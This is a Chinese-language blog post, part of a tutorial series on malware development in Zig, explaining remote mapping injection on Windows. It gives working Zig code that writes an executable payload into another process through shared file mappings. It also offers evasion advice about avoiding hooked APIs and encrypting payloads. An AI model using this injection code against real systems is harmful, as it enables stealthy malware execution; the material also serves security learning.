iT邦幫忙

2025 iThome 鐵人賽

DAY 23
0
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 23

Day23 - 影子寄生術,操弄世界的魁儡:Process Injection 之 Mapping Injection

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

哈囉大家!

昨天和大家介紹了遠端進程的線程劫持,今天要來介紹 Mapping injection,中文我也不太確定是什麼應該是什麼映射注入之類的吧 XD。

蜥蜴寶寶,上車囉!來囉來囉!

完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/Mapping-Injection/remote_mapping_injection/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

Mapping Injection 簡介

Mapping injection 也是一種進程記憶體的注入技術,和以往注入方式的差別在於,它並非使用遠端進程的私有記憶體(使用 VirtualAlloc/Ex 分配的記憶體)來存放 Payload。相反的,它會建立一塊 Section 或是 File mapping 物件(File mapping object),然後再把該物件的 Mapping View 掛到目標進程的虛擬記憶體裡,讓那一塊記憶體內容在我們的注入程式(Injector)跟目標進程(Target Process)中都同時可見,並共用這塊記憶體。最後再從目標進程去執行 Payload。

簡單來說,就是讓使用 Mapping-View 來達成兩個進程間的通訊(Inter Process Communication, IPC),以此來把 Payload 放上目標進程的一個技術。下圖說明了這個技術的攻擊原理。

Mapping Injection

利用這種技術可以避免使用一些經常被安全解決方案給 Hook 的記憶體操作函數,像是 WriteProcessMemory 或是 VirtualAllocEx 等等。

整個流程的步驟大概是這樣:

  1. 呼叫 CreateFileMapping 來建立 File mapping 物件
  2. 呼叫 MapViewOfFile 來把 File mapping 物件映射到本地進程的地址空間
  3. 把 Payload 放上本地分配的記憶體空間中
  4. 使用 MapViewOfFile2 把本地的檔案視圖映射到遠端的目標進程,以把我們的 Payload 複製到遠端
  5. 執行我們的 Payload
  6. 執行完後,使用 UnmapViewOfFile 把映射的記憶體解除掉

那接下來我們來看看這些 Windows API 吧!

CreateFileMapping

這個函數會創建一個 File mapping 物件,它允許把記憶體或磁碟檔案的內容映射到進程的虛擬記憶體空間上。這個函數會回傳一個 File mapping 物件的句柄。我們來看看微軟的文檔

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // Not Required - null
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,           // Not Required - null
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName                       // Not Required - null   
);

其中幾個參數不重要,可以傳入 null,它需要的三個參數如下。

  • hFile
    • 這是用來建立 File mapping 物件的檔案的句柄。因為在我們的實作中不需要從文件建立 File mapping,所以直接傳入 INVALID_HANDLE_VALUE 即可,這會允許本函數在不使用硬碟上的文件的情況下,從記憶體建立一個 File mapping 物件
    • 微軟有說,如果 hFileINVALID_HANDLE_VALUE,則呼叫過程還必須在 dwMaximumSizeHighdwMaximumSizeLow 參數中指定 File mapping 物件的大小。這樣 CreateFileMapping 會建立一個指定大小的 File mapping 物件,該物件由系統的分頁檔(paging file)支援,而不是由檔案系統中的某個文件所支援
  • flProtect
    • 設定 File mapping 物件的頁面保護
    • 我們會將其設置為 PAGE_EXECUTE_READWRITE,這並不會立刻建立一個 RWX 的 Section,只是指定讓我們待會可以建立
  • dwMaximumSizeLow
    • 回傳的 File mapping 物件的大小
    • 要將其設置為 Payload 的大小

MapViewOfFile

這個函數會將 File mapping 物件的視圖映射到進程的地址空間中。它接收 File mapping 物件的句柄和需要的權限,並會回傳一個指向該映射(Mapping)在進程位址空間起始位置的指針。

LPVOID MapViewOfFile(
  [in] HANDLE     hFileMappingObject,
  [in] DWORD      dwDesiredAccess,
  [in] DWORD      dwFileOffsetHigh,           // Not Required - null
  [in] DWORD      dwFileOffsetLow,            // Not Required - null
  [in] SIZE_T     dwNumberOfBytesToMap
);

需要的三個參數如下:

  • hFileMappingObject
    • 這是由 CreateFileMapping 回傳的句柄
  • dwDesiredAccess
    • 需要的存取權限,決定了所創建的頁面的頁面保護設置
    • 它會調用分配的記憶體的記憶體權限,因為我們剛剛將其設置為 PAGE_EXECUTE_READWRITE,所以我們可以使用 FILE_MAP_EXECUTEFILE_MAP_WRITE 來回傳一個可執行、可寫的記憶體(不過本例中是在遠端進行 Mapping injection,因此不需要將文件在本地映射的視圖設為可執行,只需要可寫就可以了,如果打算使用本地的 Mapping injection 才需要將其設置為可執行)
    • 如果剛剛 CreateFileMapping 裡傳入 PAGE_READWRITE,這裡就無法使用 FILE_MAP_EXECUTE,因為嘗試從可讀和可寫的物件句柄中建立可執行的記憶體是不可能的
  • dwNumberOfBytesToMap
    • 這裡要放 Payload 的大小

MapViewOfFile2

剛剛的 MapViewOfFile 可以把 File mapping 物件的視圖映射到呼叫函數的位址空間(也就是本地進程的記憶體),而 MapViewOfFile2 則可以把某個檔案視圖映射到指定的遠端進程的地址空間中。我們一樣先來看一下微軟文檔的函數定義。

PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,   // Handle to the file mapping object returned by CreateFileMappingA/W
  [in]           HANDLE  ProcessHandle,       // Target process handle
  [in]           ULONG64 Offset,              // Not required - null
  [in, optional] PVOID   BaseAddress,         // Not required - null
  [in]           SIZE_T  ViewSize,            // Not required - null
  [in]           ULONG   AllocationType,      // Not required - null
  [in]           ULONG   PageProtection       // The desired page protection.
);

一樣來看一下一些必須傳入的參數。

  • FileMappingHandle
    • 指向要映射到指定進程地址空間的 File mapping 物件的句柄
  • ProcessHandle
    • 指向要將該 File mapping 映射進去的目標進程的句柄,該句柄必須具有 PROCESS_VM_OPERATION 的存取權限
  • PageProtection
    • 就是記憶體頁面保護

NOTE:
因為 MapViewOfFile2MapViewOfFile 會共享同一個 File mapping 的句柄,所以在本地對文件映射視圖做的任何修改都會反應到遠端進程中的文件映射視圖。這可以讓我們在實戰中寫惡意程式的時候把加密過的 Payload 映射到遠端,再於本地解密,然後在遠端執行解密過的 Payload。

UnmapViewOfFile

這個函數可以把之前映射的記憶體給解除掉。記住,我們應該等到 Payload 執行完畢後才能呼叫它。所以當遠端進程的 Payload 還在運行的時候,我們不能使用 UnmapViewOfFile 來解除本地映射的 Payload,因為遠端的視圖是本地視圖映射過去的,所以解除本地的也會連帶解除遠端進程中的映射。

這個函數接收剛剛的 File mapping 的視圖的基址,我們看一下微軟的定義

BOOL UnmapViewOfFile(
  [in] LPCVOID lpBaseAddress
);

實作程式碼

我們會把整個流程包裝為一個 remoteMapInject 的函數,會接收 3 個參數,分別是目標進程的句柄、Payload 的基址和一個指向 PVOID 的指針,用於接收映射記憶體的基址。

我們的這個函數會分配一個本地的可讀寫記憶體空間,然後把 Payload 複製過去。接下來,使用 MapViewOfFile2 把本地的 Payload 映射到遠端目標進程中的新緩衝區,最後返回映射的記憶體的基址。

fn remoteMapInject(hProcess: HANDLE, pPayload: []const u8, ppAddress: *?PVOID) bool {
    var bState: bool = true;
    var hFile: ?HANDLE = null;
    var pMapLocalAddress: ?PVOID = null;
    var pMapRemoteAddress: ?PVOID = null;

    // Create a file mapping handle with `RWX` memory permissions
    hFile = CreateFileMappingW(
        INVALID_HANDLE_VALUE,
        null,
        PAGE_EXECUTE_READWRITE,
        0,
        @intCast(pPayload.len),
        null,
    );

    if (hFile == null) {
        print("\t[!] CreateFileMapping Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        return bState;
    }

    // Maps the view of the payload to the memory
    // FILE_MAP_WRITE are the permissions of the file (payload) -
    // since we only need to write (copy) the payload to it
    pMapLocalAddress = MapViewOfFile(
        hFile.?,
        FILE_MAP_WRITE,
        0,
        0,
        pPayload.len,
    );

    if (pMapLocalAddress == null) {
        print("\t[!] MapViewOfFile Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        if (hFile) |handle| _ = CloseHandle(handle);
        return bState;
    }

    print("\t[+] Local Mapping Address : 0x{X}\n", .{@intFromPtr(pMapLocalAddress.?)});

    waitForEnter("\t[#] Press <Enter> To Write The Payload ... ");
    print("\t[i] Copying Payload To 0x{X} ... ", .{@intFromPtr(pMapLocalAddress.?)});

    // Copy payload to mapped memory
    const dest = @as([*]u8, @ptrCast(pMapLocalAddress.?));
    @memcpy(dest[0..pPayload.len], pPayload);

    print("[+] DONE\n", .{});

    // Maps the payload to a new remote buffer (in the target process)
    // It is possible here to change the memory permissions to `RWX`
    pMapRemoteAddress = MapViewOfFileNuma2(hFile.?, hProcess, 0, null, 0, 0, PAGE_EXECUTE_READWRITE, NUMA_NO_PREFERRED_NODE);

    if (pMapRemoteAddress == null) {
        print("\t[!] MapViewOfFile2 Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        if (hFile) |handle| _ = CloseHandle(handle);
        return bState;
    }

    print("\t[+] Remote Mapping Address : 0x{X}\n", .{@intFromPtr(pMapRemoteAddress.?)});

    ppAddress.* = pMapRemoteAddress;
    if (hFile) |handle| _ = CloseHandle(handle);
    return bState;
}

執行結果

在這邊,我們設定我們的目標進程為 notepad.exe,然後我們使用的依然是 MSFvenom 的小算盤 Payload。

Found PID

下一步,我們把 Payload 寫入本地的映射記憶體,可以看到它的權限是 RW 的,因為我們不需要將在本地其設置為可執行,只需可寫。注意下圖中我們檢視的是本地進程(Injector)的記憶體,並非遠端記憶體。

RW Mapped Memory in Local Process

我們如果查看遠端進程(Target process,在此例中為 Notepad)的記憶體,則會是 RWX 的權限,因為需要可以執行。

RWX Mapped Memory in Remote Process

最後,我們執行它,就會看到彈出來的小算盤啦!

Execution Result

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

蜥蜴寶寶,下車囉!

今天和大家介紹了 Mapping injection 這個技術,明天我們會再來看一下其他的進程注入技術!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day22 - 影子寄生術,操弄世界的魁儡:Process Injection 之 Thread Execution Hijacking(下)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!23
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言